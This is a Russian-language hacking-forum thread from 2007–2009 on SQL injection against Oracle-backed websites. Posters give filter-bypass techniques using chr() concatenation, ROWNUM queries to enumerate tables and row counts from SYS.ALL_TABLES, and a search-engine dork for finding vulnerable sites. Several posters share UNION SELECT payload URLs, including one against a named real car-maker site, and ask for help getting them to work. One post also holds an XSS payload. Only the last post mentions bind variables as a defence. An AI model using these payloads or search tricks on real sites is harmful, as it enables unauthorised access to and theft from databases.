Во-первых если удалось подобрать количество столбцов с пом. null, значит ошибки не было, в момент когда совпало количество столбцов в основном и объединенном запросе. Если изменился тип ошибки, т.е. он все-таки ругается на null, что в принципе очень странно(null - универсальное значение для любого типа данных Oracle), то можно попробывать сразу подставлять какие либо значения, что бы определить тип выводимых данных, см. статью.
Во-вторых null - это значение, которое может присутствовать в любом типе данных Oracle, он не является значением определенного типа данных. см. стандарт ANSI SQL (NULL).
Согласно ANSI все типы данных должны поддерживать неопределенные или NULL значения. Oracle в полной мере поддерживает это правило для всех типов, за исключением символьных. Для любых символьных данных пустая строка интерпретируется как NULL.
ЗЫ
Мне кажется, что у тебя ошибка где то в другом месте =\

[53x]Shadow
05.09.2007, 16:03
Дополнение по некоторым узким моментам:

[Обход фильтрации]
Обход фильтрации кавычек и других спецсимволов осуществляется с помощью функции chr().
Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ в отличии от подобной функции char() в MySQL. Для получения кода целой строки придется вызывать отдельную функцию для каждого символа и в последствии объединять их с помощью операции конкатенации ||.
Таким образом, закодированное слово user будет иметь вид chr(117)||chr(115)||chr(101)||chr(114).

[Аналог LIMIT]
Возможна нормальная замена предиката LIMIT используемого в MySQL для Oracle с помощью псевдостолбца ROWNUM с использованием сложного запроса (скажем спасиба groundhog`у).
Используем следующую конструкцию:
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND Y
Перебирая X и Y вытаскиваем имена всех таблиц (все записи начиная с Х по Y), доступных пользователю, аналогично со столбцами.

Еще несколько интересных конструкций с ROWNUM:

-- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заданной таблице через NUMROW
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заднной таблице через имя таблицы
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';

[Google хек]
Как щас принято использовать поисковики для поиска уязвимостей, мы тоже не будем отставать (=
Для обнаружения уязвимых сайтов можно воспользоваться поисковиком, например в гугле искать сайты со строками
“ORA-00921: unexpected end of SQL command”

[53x]Shadow
13.09.2007, 23:41
В дополнение к обходу кавычек с использованием функции chr() для автоматизации и ускорения процесса проведения инъекции написал скриптец, конвертирующий необходимую строку к последовательности chr()||chr()||.... и т.д.
Так же добавил в него функции преобразования к соответствующим последовательностям в MySQL, MSSQL.
Получился вроде как универсальный скриптец
Universal char SQL encoder (http://www.webfuture.ru/igo/convert.php)

prescott
04.01.2009, 17:47
http://lada-auto.ru/cgi-bin/models.pl?model_id=6295171+union+select+1,null,to_ char(213),null+from+sys.dual--%20&branch=tth Помогите с ORACLE инъекцией. Не могу подобрать тип данных для третьего столбца. В чем ошибка?

tmp
22.01.2009, 22:33
Отлично все для новичка в Оракле!
Вот еще может кому понадобится полезная ссылка (долго искал)

Структура системных таблиц в Оракл
http://khpi-iip.mipk.kharkiv.edu/library/dbms/lab2/ref/app8.html

aqqa
11.02.2009, 11:54
Напоролся на такую шнягу,подскажите как дальше
Warning: oci_execute() [function.oci-execute]: ORA-01460: unimplemented or unreasonable conversion requested in /usr/local/apache2/htdocs/cms_adm/lib/site/Oracle.class.php on line 86
array (
0 => '"> http://******.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();',
1 => '',
)

Gorev
11.02.2009, 12:31
Интересный факт, не знаю на сколько будет полезно но: запрос

www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--

выдавал пустую страничкy, а запрос

www.site.com/view.php?id=-1+UNION+SELECT+null, TABLE_Name, null, null+FROM+SYS.USER_TABLES+WHERE+ROWNUM+<=+5--

выводил нужную информацию на страничкy

З.Ы. Спасибо за предоставленую инфу по ораклу...

navigat0r
01.04.2009, 01:02
eсть вот такая вещь, как с ней бороться??Как подобрать кол-во столбцов?
BD Oracle
получил с помощбю post запроса www.site.ru/vote/statistic.php?lang=kaz&vote=1&question_id=1122031291')--+&answer_id=1122031391&vote_bt.x=21&vote_bt.y=11


Warning: ociexecute() [function.ociexecute]: ORA-01785: ORDER BY item must be the number of a SELECT-list expression in /export/htdocs/oracle.php on line 48
SELECT * FROM voting_questions WHERE id = '1122031291\' order by 99999--'
Warning: ocifetchinto() [function.ocifetchinto]: ORA-24374: define not done before fetch or execute and fetch in /export/htdocs/oracle.php on line 56

буду ОЧЕНЬ признателен за помощь!

navigat0r
04.04.2009, 12:16
это вообще за инъекцию сойдёт???Как можно подобрать кол-во колонок?

HIVER
04.04.2009, 16:03
У тебя комментирование "--" запроса не прошло. Скул говорит, что "group by 99999--" - должно быть целым числом, а не с "--". Попробуй "/*" и нулл-байт %00, мало ли.

(Dm)
18.10.2009, 09:13
Вообще, я удивлен, наличием php скриптов с sql инъекцией под оракл... нужно сильно постараться написать такой код, когда есть функция OCIBindByName, использование которой сводит возможность инъекции на нет.